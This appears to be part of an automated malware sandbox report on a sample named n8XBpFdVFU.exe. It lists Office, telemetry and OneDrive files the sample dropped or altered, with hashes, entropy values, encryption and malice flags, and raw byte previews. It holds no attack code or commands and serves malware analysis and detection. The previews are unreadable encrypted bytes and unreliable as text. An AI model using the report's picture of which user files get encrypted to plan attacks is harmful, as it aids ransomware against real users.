Preview:	.<?l..k.>f.[.}M5.p7..?~SH.?..jGr.)......K3.XH..M..D......<.m5.....G.......r.-a...M..j.\.....Gk...'j...k..[./.R....t~Ax.eg..i.b.>k.C..BQ..{.r....."4-.....$..p...f..Z......{..8.W......C..YC.4Z.h.M-......F..h$._.W...f.,M..(.1-b..=Ea.F........Y.z._..G.4}..&..1#.9.".K.R..q.>h...7..6..V..y....apl.fY.0...Q(...Q...Z)"Zp...N.jI^..].l...z.F=....2:.........k..c..DVR.B..[.R....n.m...;8k..M.......d/.....Q..%>.YF./.....:.P..!.'.<..'...O.D..<.d.Vn.)..%....oI...L8...6.uhL...s6..n]..l..-.Z..T..c%..w.. ....OY...^..T.......$P..J."wW....(...B...N7..pp\|.>-o.D.i.(k)..M.....'b.j{.J.9E.I....8...0......Av.>....Y......1.<..$U..j.Y.%~O..........w..D.4....R9...n!.=."B.._5.%;C..`.....a.6[...r#'.m.U@W..F.B....(7........?......a.t..xm.!.cNe.Xh4-.......o\...{..D._;S.-.\%.>wGV.....1..w.U.Sf?...v..CW....'FG.q....QF...4.%h.E....,..4..#2c.i.....jG].y\|.}.@...s.;&/!..4^&-.b1f..].3{.e3 ..g......-..8./......d.....^8z..jy.[..M...5....>.....Z.mo.3.-.c.....K. X..t...i..%._.'.!......,

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.902431718595919
Encrypted:	false
SSDEEP:	24:aV4CZyHr5XQuxQeL8+9GhewxnLdBk5s5qBdD0jzABmYQ5J6AL1Mye6Ci0yJJTx4B:bZQux/g+9CeYByQsuvLP6A5V9x0Js7sD
MD5:	427362E418C0C0ECCFE334DF9C0E9CEF
SHA1:	23BAB5800DAED640BE4DA78898A19F1B4B062D0F
SHA-256:	4B2527A131FAD552496D6F7E32DB1196D196E798F8A44C81455FEE4E0E5B142A
SHA-512:	BC9A95C554B315CA62B4622B1FED77CC2046DB8AB79A95BDE29F6D87BA40C833C31C6FC1915DFA864E061BC1E69B4922F39658DE1BD75A55668AECC298E5FF2F
Malicious:	false
Preview:	.<?A..f%.11...e.........I......\|\|......r.......3.h.......T.^.\....f.YU.^SU..1(...KDT.3.O"!.\|.U.....U.....Y..u.......{o..#V..[Xv...s.T.A..>39<...Q...i...Y...:...F....$...S...R....7...B.J.3.... ....F..a..Q.\..'..g......;..wB......kDg.....b'.>R.....b#%.J.Y.<.\d.V...3.]..9.^....M.w$ ...}..../..].lQ.....&%=..4..Ium.f..n..g.)A.-.E.l.+.......A.......b.1.v.s.s..w..........C.5..~W\|<pO(.......d...0.R..Z..../...[Cs..........t...L-Fb..........>.!z...0B.../........q...c.../7]Q...8.R.e\|n...$W..H.+..W...3..wx.6.....\|J.e.......kO6.......>..a.m./:.8......}V.......S.....S..O..=R+......m....(..].:..M59.),......[.9.UM._..O.H....m0.n4.a-..}....l=..M.cE..........-...G...._I#...}......)".i..y.++...l.C..).....,.4tAu.R....v..2.3..X...:..Wo..x..t.2...j..G.1K.6(..} .E0....@c.5 ...._...nc.G...i......#..E....@.H./..V._..[#..y..uLt...y1......u....\|..j.C....8R.;..m.l.......q.E.Z>.u..........i......+O."f....@.PF...u..~W@g....tY_.ice.V/w.'..D.......[z.Lzy#...2.J.,z<.y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.878126299360135
Encrypted:	false
SSDEEP:	48:FikM30JGtyirp4dWrt26k40AXIvTXcBdLhQIbD:EkMyGUoiOE6IXwvjX
MD5:	27097BCF1588A725ED3CE0EBD42563C6
SHA1:	82C837F10854558BF85E232A886870CCA25FADE1
SHA-256:	2D8765184A157E91D499DF00841C2DB7F4052091A5928EA27E100C570975FF5F
SHA-512:	189FD5CA678DAC6339653561C3CC762910726AD576B152815C1430415A3AE7864FFC2480000987D6CF46CE51B7925D89C12FAA8B70796889A9ADA42B0A0A729F
Malicious:	false
Preview:	<?xmlA..f.'.5CTA.......BU.X.W..Io..".$..`\|.7.o..+........IX....b.8.Y...i..).V3mh....d6..t.1(....D..-...w.:+u@..._.O.9.....0.Y..\|.G..}@.+T....G...jY=q...^.S.....U1.A.......+...b..\|X3..\|..L.`..U.[.....=...O.Rqb....V.'..Zx.V...{..'\|.....}....h...?.1./.hh.Y.q#}..t.4..Q.!../......v..c..../..Z......,..v.....Tu~[.._.v....)]...>..N..D.M...}_...S..L..=.i..1.z...Z..[.S...5.......q.Zx.t...B.#.N.......m..A..2..............PF...).A...v..W...Q.:...t.y.o.....231.)...^.e.y...Q9...Z........>1........s.y.c&1...1k..=.r;.xx..]%M.......[^{>..%..`..DAb....Oe.D(..{&nT7w..F;B.N. .t5.......R8..Z.28&...Q..P,(~\|.G.....7s..K.....l4+.I.IJH..P..H..gJ.......j4...U......T.!N01.1.4...P..B...YE.v..h.bC.V...vm5...z....Bs.T....`.r(j)r..(.E.Mj..X"..+eb7....4$&.R.g.I..I.`A-...7.p=U.s..5.?&...5_,2.....h....Y. \|...I.....q.\1.j..y..hW..... ...df...5....u.F....=8.6...f...}.sT8...l.6.....E...#.5...a.o.....B...e.X.Z.d.N2L..r.......l.+.........Y~XO..fR}..,?oB...}...c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\setup32.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	135031
Entropy (8bit):	7.998880359366588
Encrypted:	true
SSDEEP:	3072:KSfgGBX5YmrEz0ccmGzwVtwzZ5Ol1CIc/Gz1ptUchTisojphFy:aG5umrTcJGdKw6ppt5hGjphU
MD5:	33ECCB28CE285E4E64083A93C450D7E0
SHA1:	A1A92EADB99FBFBC00E78B277E5C71D71BD84848
SHA-256:	472F0DF053BFEC22073BEFAFEA0A47C1FCCCAD881F71E32A599CD2162F82DAAE
SHA-512:	7274AD8124C6461CF74E65E9834007C0ECF6BEFE9D3231A6E665CB361DD76FA23D6B8DFBC9ACABE407C70230875C2A29680208A1C72142C6FBCC8290A91BF3DF
Malicious:	true
Preview:	<?xml./........0..DB..x..1.KU.X.F..p._.xH..C.f9.S.n.d.0...78%^k\|&...D.,bD..B<.p.W.J......)s....Q.N.....t...#w..:bW.G.....).'..r\|.h......4v..vc.'.t..\|.7..O....k....O........0...,....a..2Y..HY..16...%.#.6 ...+DJwVr4.Uizw.^.}..Wf.....).u..P.W&~..Z.$....y.i..Q.D}..k...F.V(w.W[.)%..;6.v....2.P...B\.H.............bWz...~...&.g....r$.g:....C..J.^,.hZ$.."..l...f..2...xS...D...S`F.?k\.0.Q~.}..h.{.]...1Qp.$x...Ue..?.....~....&..M./U..%...TsL.4...Vao..s....C.!f..@.,.B...D....-.(?.@.AG........\Y.{...{=......ipb../j.....uaT.hf:.V.-..F...]..k...:..<o.#.I.`...-d..Ep:.pt/...{...E..6Z..fz.nB...v.,U....0.%^..V.Z}~...cM5,.T`X3q%..7.1LB...T...V5.$X..=.^.,.46....j9.F&...j.R....R..nY.IQ'...x.F....k.f{...nkfK..N...'8.?`...qJ.qO....Snm...]87..rK..[28..).Y...4 .X..5q'.w....>.s.&.n..v..../...K./U.....ff....!i....82......t*.r%{\|r./.)~@...8..c...w.}...h0;...)g..m^Hc6L..q..J.gm.1c.6..%.N/oJ.7"..f]~.U.?.#...\|.&..?...m.FI.O.S."..}a..g....bv.....,...~?.Ib......P.U..r.Lrq.

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-3FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.798743890098817
Encrypted:	false
SSDEEP:	24:bl/ipq0PrpLshmX9F0520InnhaD249/oZo2tH8PONWdh+0DbD:JapqGb0SnnhaKOoZo2toONWdY0XD
MD5:	27F864978C2481E39D231D1CBC4E92DF
SHA1:	E3979479C7F870AC7375806E3BCF5CE73B6CA4BE
SHA-256:	8C89C946BBE16A643506A93636242E48F9DFF54551C4B17CDB731934F8442DDD
SHA-512:	26454E596BBB7E5AF90E07D3E605B4C089E6DAE4E914B5A8CBBA533407D8ABCEDD97BD585FD356165AC7D1F581FD2EA95613CE1B2944F77BBE05F47D7E381937
Malicious:	false
Preview:	1.1.9....R.9.S...}b.>bEk\^v.tF...7..]u. F......+.+.H..... rY....S.s.`.\@.D..P)1./j.g..u.sm..."Bu-.c"..:........%5.a.@...,.m...V..m{..w;.........6.2lJ..u.........q.F.......c.....E`K+...s.-...^btt.u.......^)...I..T..K.......tD..........'..c..../.'..[].t.g..j..V].[..F.....x3.}rl2.^.e..S.x.q..2...7.y...^...^.E.uH.z..d:3.~Oq.....V.W.(.....CAV"{.zR..HV.8U]_0/o..q0>....s....8..P...#.o.S....WT.s.4..Wo...P".....I..\|.C..>.P.O..v.:./..p.^...so.S.V\!....S=b;./e...K.mE..0...`N.k..).7H............[&B.Xj.jo}....R.....7........Q....d.....p..3..R."n..b.f..e..>Z.5...M.0w...p..s....z......7..2..&..Y..=6...]o"*.../=.k..g..s[...=(......r...G=..gLP.)J..............\..@.g_=..........=0"4..d.....h..R........w..C\|!...F.+.,I+..f...U.`.}.Q..!^........-......\...k..IuJGS....R.dMa....J..o<...e.&.yn......9.......'9q....m.f&..+r}'.+X.O.z..av..x.&.&.....>t._..J...J70R.Pdr.....5......g...m.@.u.....&...I.8...o.........~p...8P...{\|q..R......O.bL.s:Xm..^T..T..NS

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	7.8115511407254
Encrypted:	false
SSDEEP:	24:8urBODd+NmKiQGz4DAplxobbNPXxXVPvNWV/8G6lFsDDwPAZWxnksbD:drySmKiQGz4Upe5hXVPVWV/KxlD
MD5:	E544280B8B9469432F74F26FBBA5D495
SHA1:	6DB66273EBFFB4D96F346333F8911CB7891E73A7
SHA-256:	98A39DE24BC18E8DBE5715B23E8EFD80B38C78F9A40CA9EE705F6F69FF779A22
SHA-512:	7F4F6B7EB534C7849A427273F255BC6BC64EBC55C2E3210DAFD2CA8E9003DC191178D2AC05DE3B3D0E20951C6D60718A43951C9748273BA5E0DDB5DD3541E98A
Malicious:	false
Preview:	1.1.9`......<...T..........V.."/.g.....E.E.......\/..Jn..>\|.{.....Z..@h....Q.+3y....[..K...%D.`....1.e.].n\. ..KfW K......U.........."....y.~....n.G$.l... ....a.~..).....4.[.I...z...............-.5.....[oU\|.U.@.v.8..J.t.C.Pt..@Z.oF...Y4...RA.U..g.9=.n.y.5.kw.U.$...&."/r...Y~W..:.R.e.m."A..%./_ ...V..0..\4.Q...B`.q......,.....IkZ....Z.[.....jil.. .om..l.s^D..`.3.......5d.....j.+.3c.S.........,.Sg.G>.4..w..X.bg..).].]<....(.........\..}lhe....\.I..]..F_..F.J.#...`.&.vk....SF&./.\j-J3...;.(.f.H.f,.+.s.-.J.o\.OM......D. %(...j.-rD.r_..=.....,...R.R......h....Y...xw.Y&.6..%......H..H$}...L..rw.$4.>.k....r.......Im.C.3..3?o..........Q&0}0\|7..+.v.kju....9..za.!...X...<.P0.o1..A....C.`.\|1........;.I.....V.....$Qc....a..F....J...Cg..;w.sv...PU.3.L..m..vH.T...0.......t..7'Uc........@.F.....DJ.y....U2..........=...-.......90......32.k..Hv[..1!q.vq..&.Gw.q..>7....LP.....u.f.j/`O.T6j.K5.(.o.?..K...`....g...S.:..%^}G.O........Vi\

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	37198
Entropy (8bit):	7.995568891147216
Encrypted:	true
SSDEEP:	768:olksruSQ/u+TAwxVpBe9yM+QrnkgTt7N3zIoSaqchjUDlUrxFoDGKRUihp:5SZ+UwxVpBevJ7tNxeDGA
MD5:	59DFE24C94435A2090BEEABDECABB82F
SHA1:	06D722FB443E0EFDAA1634B05C475D0A82F5B3DA
SHA-256:	8C0F96FAC2EE988C40D6015F825514735A1F98DDA41A20A6C2F3352B3B896560
SHA-512:	30C83EE385AC294ABBEA28EFF1605B63758ED404CF8877F2D3439CCEC8AC699E01FC68BB0017DB793DA2F9E20241E1CBEF686EFD00CF9EC782FB717DE0468353
Malicious:	true
Preview:	SQLit{...e6iG..H..\..X..+.!...H.Fv.NGL[]:..w.H.k.G..e..\....?...)...P.h.+../0..$........{...TxI.....g7..V...[h....X.`...i..p..$H....]..e..#.6<M..3....B!D.....\...7Mj\._...m.i..3...qun.h.5..Z4[.4Q....@.......d.......... ...R><.Dl..#....P.;oB.TO..^I...L.'Ncai......C..2..Z...,l..:B......c.l<.I?.....Z.......>.0......^.......R..O(FR..Z.c./O~.C?..n....JF.u\|y.Y...{........wY.5.<....\...o ....mk.9.....}..:....._9.....#G+../I.<.a..Y.l.F...y.m...n..ygE4..I.A}.<gk...DF'...9u.bP....\q.G...kV...V..\.b..U13'....D-v..GN].....q{..dK...:.?...NmZa.yI;...0.L..~yA..>...........O...".{.alg<....&.^U..c5.\|@.z.u...r."n.R.... /.....J3.....Z....M.......[...o.,...+P;8....z......&....y>.q..n.......T^w..<.4.[...Tig...V..0.h.....].).e....L..'.Z.i....m.RfP...Q........#...{..uf.3..(P.vW..E.LP..h.J...XP._y.y{.{.[..2.....l>...5.s}./bZ..x$..aU....ks ...x^.NN}..n..0.....>W.L:z^4.....\|>Y0.C.....DM...s.G*..0.w......m.SA.......\|.0.f.1..i...$....t..wpV.c.B.w..;.L.$.....$

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.session

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	20814
Entropy (8bit):	7.9916306938159085
Encrypted:	true
SSDEEP:	384:5wCjGLy+Aazm8EWHH/qQaRGvX08m9gZfsgiMjwX7j3o9Qne2CYiBER:xG3Aazm8EWHHAGvXTmGhniWwf49Qe2Uc
MD5:	72B889C3AABB8D249FDD55EA7DD4CA17
SHA1:	FC8F1DD620BA45A3D9A6C07A47935EA824F1B4C8
SHA-256:	560ADF1010F20EA59D618D643288E0B6A131256EF9620981083FCF522F88FCF7
SHA-512:	DE1E8521A099B5A246A7196AC1AD2E198C3B90D7F679ED69C2952C83653372EF651E9AB2DAF9E347981F978866922DB6535FDDE8D8145ED4AFB2A3D6828C4C84
Malicious:	true
Preview:	SQLitt..r...L.4..s\|]A..f20......]..$sl:.+f......._.<A@.......zz........D...H..d.......c.v.....cDr...:WO..'h.N4qm..S...._..3.....-. .Yt. .t..pO....J)9B9.5..D.9...fX....?%.b%RiRg.....92..1..2...-V.r.p.$.a...{.7..'>.$...t?.&...pK..`..f..%...SX...i.=....$..... .#2..bR.oPS<'>..4..>..........J....U)....mg...{j.Q.....fq.d.\.!....;...o9..?v..z..0..:.g....,..-..+.P.^3.Y...9q..6...L-(..o....P..{.5..V......0................"`.9.m..:2j..6C..i-CiPN..q...g.......i1...(."v<.{ 6..&#.....+..m...7.B...`sj.H...V..k... .;...l.N.....I+]<.z...'e>..q.s.p.....a.(.b.._..\|.k..F..t.eqk...vF(..p..5...O........5q...6.m.........=.fF_.C.Kv..M.(.H........er-.Wv.4./xa.o...-..,..2x.U.3.....@..........g..l.x.PX...q8.A..g.......v...U....D...gX.M..B..H....egt.UZ....e..\|:..g..]]]....Qi\|....w.6d.W........\|?#....%.mO8*&y_b.7.y.....qE....6.'.;.n..".e.;.D....i.d........C1.n1_..g'.^..(...........B.=....~...)$oh.R..^......".../.#.....v.F..V./...f(...4...........~..!.I.T.H.a.%.

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992745030903837
Encrypted:	true
SSDEEP:	384:5A1fR3oscj4nFbM5bRXZGrHCo19RcvjUYldLTrKIzr5XMHRZJ94y7:IJ3onjMprH12vjN/WG5XMHDJ9P7
MD5:	204FB041DAECE3A9FBCBFFE53DACD63A
SHA1:	46019106A741A40FC936BE48B2A4F87CB15B641D
SHA-256:	1F001D7474C7B716989324D96BD6A7B685ABEFFEC0D4A04D2BF57D7B459653AF
SHA-512:	5246220058C6FF61C6701173B5A0166D6AC46A31082D90990E424A3242AE129702708CA5B33DDBB599747E6BFBA06890402856B4CFAC2F84860712FE45364160
Malicious:	true
Preview:	SQLitA....h..;jw%.8S....~.g_.L..:M.hmf?...p....V.o.Q%O..O....>.D....I.0..+.3.#...De..J......[8H....5./.i.......%2..,..O...3.l.%.U.W.m?.....'...h.TJz.R...;.4>.....ddcu..b.h.b5..=...l..$...g.V.E. ..+.A;..x.\|@..M....t.....I..5^..xA.X..4h..).u.....Lq....r...I.cM.. ...br..$...a..f.v^..@].72;...n.~...HY.;......./.....r.o.>\|K..cTBXD..].q...........v.4..V...q#.r.t...)......' .1.+.F.v..!J.Sb...+..P.3..a........{p...-.3B...4...ebF..;.J.(..n..w.R.O(.X...) .wg...V1..5...w...<P#..d}5.R$........1.y`Y.LS.J..q.{O.....EW.....e.g...OXW.c.z$n..q.....Rl.....S..q.b..".1.fg....+..S.....i$.. ...s.-9..Z...S+\|.K.z......N.Axs.\y...G..._9._P.p..C.rV...+5...Qf...!..x{.E..^.`.!.ym..s/.\...].L.?(g.Oe...%...}....].].;.s...{.l(.,.E\N.......r;...O.... -..l..V..n..&_.V.$B.R..e...TObC....Xy\...~.[.}.r]<.>.K>....$....".2.in.......&7.n..9=5GM...0......... l.%...@.k..0.c....l..Jh[l...P.9m...."....B.U.Kk....V$.Y..e.."z.c.d..)8.x.%u.#....U....W.A.......iXY

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993539627076021
Encrypted:	true
SSDEEP:	384:XWUqwEA86N2fQEBquPdlHDR5Q2psIeb2KV9I5ybYp7I5RyTDHUhhNGO1S0z4h5R:XWNzGu9/pYF9CybviTD0vNGO1S0zsv
MD5:	1E908B37FBF358D0A239AC230B3036C9
SHA1:	663DA847639926D92E96EF8E9B81C7BD8B1A690E
SHA-256:	0E38FE4AB4B597ABFB6249F86B76B101578C8F052997F54FA9C9A14C53A54E62
SHA-512:	1D8FD3E520D266B30FA71312A136E09B8898220F92207F27CD841D0C22B9CEB0112FD4DB0879E2B775DC822405A8C9EFC57D002C7400ECB8D5493947444234DB
Malicious:	true
Preview:	SQLit@7..,+.CR.....\.M15D../C.hT...i2..L`...5...Y..G:..........f.S.l.....5.}.....I,...6.xi....D[..'.. .......3....$... .I....B.]..d..!.u..b.......6......Nh.7..u.=.O*.;.wZX.p>s:.a!.E.j......I........6..O.'.....U..&.l...C..T8r..?..Tc..n...1\|..b....fm...Z0...!GjQ{......\..eV...M....l..:+c..@.w.Q."...........<.+.../...g.G.....x.../..OjO.....O.......[.....dSw..vP(...c8e.F..4.A.3<.St..EM...1.Q...HRo%....&U..F-@.C.R.B.QwH.......~...h..4x..'.=...Bu...".....1J[.H.....O.w..^..F...7.1_.Gw....F.."....Y....A=..A%4..UV.u.....?.....K>%....\|..:.....eff.w..1...eq.h..k.E.(..-.....x.9..(;../S"....[.I.Z.7.$^..u..C.Lxr..=e.5...k....H.e.[.....k}..........i.@.f..e6.I...}.....)g..Iq>.hq....^k..u........_.n..SX..fNz}.B....?.....X.+.x..a....l"..G.....I..?.L.t.^..i..Vr.)...u.8.b..mq.....^.......&u.8. 7I.q.6m.>.<....}s5)H.K.nK.......A..w.~~..D......<Q.1..,.~...[A.H1)5......a....P....\|\..+k.Y.b..u=6-...W.....)....f...Q...xF..7."#.?.....9@6...G...i.....W<.F.$9....T..U.mDQ

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992991600254718
Encrypted:	true
SSDEEP:	768:K7E1oFDQMlr7BnZ6yid18MCWGEw7GRsO/O/5gBDvLGiBP:AGyDQMTnZdidCMpw8/AgBB5
MD5:	552E14B462B8F3D009F25BA3018E5D01
SHA1:	6EC0D7CA94F495648586C680C93B685DAC80EA0A
SHA-256:	81602E66006C24D51E75C1CCDD9A0EB326CD1AF9BF736451DAAC2D09CFAAF6FC
SHA-512:	58755C7B2008C9F8B2EABF36B3FE31797BCEF9E1298BA48DA5D0076EA3982D37956B9E35CB548B4E1BC0C5FA4C103833E7D6B77772E4CA0FCC92884AE815ECB7
Malicious:	true
Preview:	SQLitM.:...8....'k@.N9.c..f..0....)..i.aIFh.&.o%........D.?i.}.......p0...".....X)..`......-.fEZ;aK...<w.eM S.k.......3......{.,...Q.!........iU...S....T..3...B[..J..{2...PL.f.~_..MW.w....6.;.f.5......n.W.......5.....d.Y5y.;.?.QF.>.....^...-\|L....x?..RJ4...YL.19{...N.2aM..V.\......h.....G....?.A<....)a.....Fzw.7..".......Y....).".(.g{NGCv.....#..%G.>0\|........`....%.V.[.=..uj...X.Q..%..ZY...\..GL.,.uX.r...!.U....U..0Gt.?........9.Js.?\|T..MgEC..u....x\|.l..?N.GI.ruO.5.m(#e..7...].@....3...4.f#.e...&8...b.... .IA\...y..+X..l.T.p.....R.....d9.?..jO;..._^>.N.2q.Dwa....7F.C.<.."...{......).Q..`....E.E.......................F.(l..G....7-.}..+SHW.f..[....4.s..pm.\.[......&.)N...=........>\.\|.Q....p.d.....,Ww...y.\|J.k..........[J...aA.......B{.......y..7.{..H.F.......K.5.......f...-.,%T......t..Sw..7-.6A.`........^.).K.._._..C.4....Q.4.lg.$~!D..i.t....+..e..;..: >..*D........We..22.. ....Q...=.....)..#.8...N.....+1B.a..........:..>

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2023-10-04.0953.5356.1.odl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7046932039867179
Encrypted:	false
SSDEEP:	96:PggsilV/SbVe/c5hKvBoKqtngIDlWgTyhgOucY:PplkbV1KpoKigIDlWI6gOu
MD5:	4F92EE7840EA73141ED1855B6D33224A
SHA1:	1ABD02D8E3EC76DBA36D946193C6447691EE5AF0
SHA-256:	86ED2882AFB4E23544AB58452251CC2F0BC7DD7C9933D3B9AA73278459453339
SHA-512:	C9B996DDB9899B768AECEE549146C05B80C483E343AC65D7E869CE2BB519958FF70ED1FB86E8AB7CE9D4F68F7192F9161C3F252DF7DDD3143EC989BB564A6331
Malicious:	false
Preview:	EBFGOii..,..4.A.{...o...uw.G.ff.3x..`......n@Fx.9;.w.8...8...n.....-Y.$...\|X.is..c..d......R...^...~s3.,..I3..y@...,2............G.....I2...F..(.J..r....L...@OD..#hK.-8........9.@.........)...t.--..)....A4\|...!.5.hBa.L.R.....&..M..._....s......6B!...... ...#.\FY..[.1l....-44..,....Mp..t...Ua....X..+-.Ek..O.BG.&....p..<`...u..t.v..EE...'82..w.... \n.'t.C....3..\|8IO..l6.<...W...w.le.9T....Ly2T...\|...MQ.r.D..%."n~.dF..=R...fQ.'.ST..wq..9..$RH~..pPc..D..}.?>.uL7...c...8...n.J;.[....:..N...i>.#../+d..^...S...f=}.y.Y..>2B... \...O[.'.8.Nt....Y..m.N.....&(+.zS...[....V..=..._(..\|..g.<...@.o..s...h..G..2....%....Nr..t........v....r.....r./.b.6C.d....V.A....PC...d..ha^~c......[6r..AD<f...f..+....Z:..4.....}.Y......Wn..>..N..W).o....+o....2.W[......om....vS ?y.....8S .R../E.05.Z.:\+...\..Yl.lZt1..V...o:...n.....<.lm"'. Y.'rbZ..#.......$.}...*...4p...x....2...............#Jm[:.Iw......>..U..Vx..q..&..?i...m....n.)7K....5.R+......o.S..

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2023-10-04.1052.6292.1.odl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7704198032053156
Encrypted:	false
SSDEEP:	48:9BcWOXB8JUjpkhL+4EVpb/YBbFdJ+031LWkAG+FeAdeusfoMXGbptS8cWyzoUodY:rXPIEJBBWkAWusOD75yzYdJ/EwEYm
MD5:	0F6AD9D4B7694EFE3C58BCDBBEF815DB
SHA1:	ED2927830BFF6ABA4FF7D6A97EC7362E440AE50E
SHA-256:	A7EE64B19DAEF765F9E1B366520A60D74E469C5DED1CFF760C979D1A9415D550
SHA-512:	4B1B8EBA771E6BF0E51AE479116EDB27CA3593A4C562AE354E2D60575A258B225EA88B07D2BCF67EDF893039A3D94B7B0E1B08AADB29203077E1563CCAF19550
Malicious:	false
Preview:	EBFGO#.j.{.....s9....r.%C.f..d.p."0.3#>...Gc+!.T.=rAZ.oP.R.]...mQ ..d./Qw.(..x..a.].U&2.l..../v.qJ.V.M....... j.h"....P..@9......eq].v......x....'...6C....l.B.Va.....\H-7S......5..9Nd.....?...A:...(..l>8.MKh.9n.:+.[z..f.....\1...e...Za@..8d...PA..U.;...f.r.u.b.V.R../.m=.x...u....}K...\....]}...%do...]..K-.Bm.e....y;.^.,.{..]e...(Z\|\r......9C.:..V<.H...FH.z...=.-%.B...Fx...:...p..qO.t.]78..I..A7.a.......+W..".y.R...w.k.g..4.FI...j..3..I.PHx.W.)..k.,...{......~T8...McJ...R...?...pFm.h....[n.....\..3G..V@....%..>.)../.g.....d.eAv74..(d..B(.X.<x....r.k.].Y}.f..\.......lX.y[JaU..I.#...`1.!%.]..WL..c......b.LZZJqyU..a...(......,.aj.L..BQ.7T.h..4_..J.B..G....3...&........d..d..5.N.Q7<'..}G.z..._...#,g0I../.=.._..?..B.A.>.>O........m'..\|..A(B.K..zE)....U.....).r45....fWJ......t...r~..W(p.`..>qb....]E..&_.Z..U..Gw.X.n.Z..y.]g../..W_...5.$.n.Ys..........@Y."....u..K...........QL.....Z..s....O..."..R.....u].k.3..?......_a...cL..U8,`W......Y..\|]...

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\telemetry-dll-ramp-value.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	344
Entropy (8bit):	7.3306796096178894
Encrypted:	false
SSDEEP:	6:irVxXCuuEZtS7qvJLea0Ak1PW7S5/VARK+TPnKJrwsCCxfxfgp66fWyc3cii96Z:4Cuk7qBrf8N/iK+TPKhf6f1+cii9a
MD5:	384CC8A0471F50593821D134D964142F
SHA1:	33B9CB5E9C66C548DF4703F9F9578436448FDBC5
SHA-256:	7408239793CFCFC2ECC3C6805DA38D4CFAF60EEC3C916260C8FD5DD1A2BE2AE7
SHA-512:	D4C694C5985B89FF8873F5D23696F6F3790E4668ADAB38FEDC6C979E20BB13F08AD3DF75C7FB4D85A3E38E66082FE09FA17270AC94D3A9EFCB920FA97A036FB0
Malicious:	false
Preview:	2..0,J...O.Sm.L..j....O..WQ.....g.s3.=u.GG..._.9....E....:.N.._C..C.J.y..x'!....vn~.h.$.~..ZI...q.....NT.z.n.$QCe.....G.......w..\..M.....\.?......L..)../.Pb. .%....Q0..3~....T..h.X..[..tAJ..?.>.U....}..:....o.....r..../...&...j.n..!L.....T*.....-..2~F.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1149.2948.1.odl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0410000525538727
Encrypted:	false
SSDEEP:	96:ED8kpOsLw8Qf7096LVYrU1UjJLJWMegFEuYdnv+r:cm8Qf7+88nTrFJi2
MD5:	1EBFEA97E3C362A2B58EE12AC1109E42
SHA1:	B06E1F0BF4CD7C241ED8E19A47C0E0C839110568
SHA-256:	85FA74191AEE7A78FCFFA172BA49E7565105A5EF704FA388080F2DB54A7B430A
SHA-512:	2F6F53D621119A311E059CF813E7E273232A594034D199F727983BEC31E3728CF37341716FF05EB24869172B54319DC0624D3BCE70FC73D645A460956C7C2310
Malicious:	false
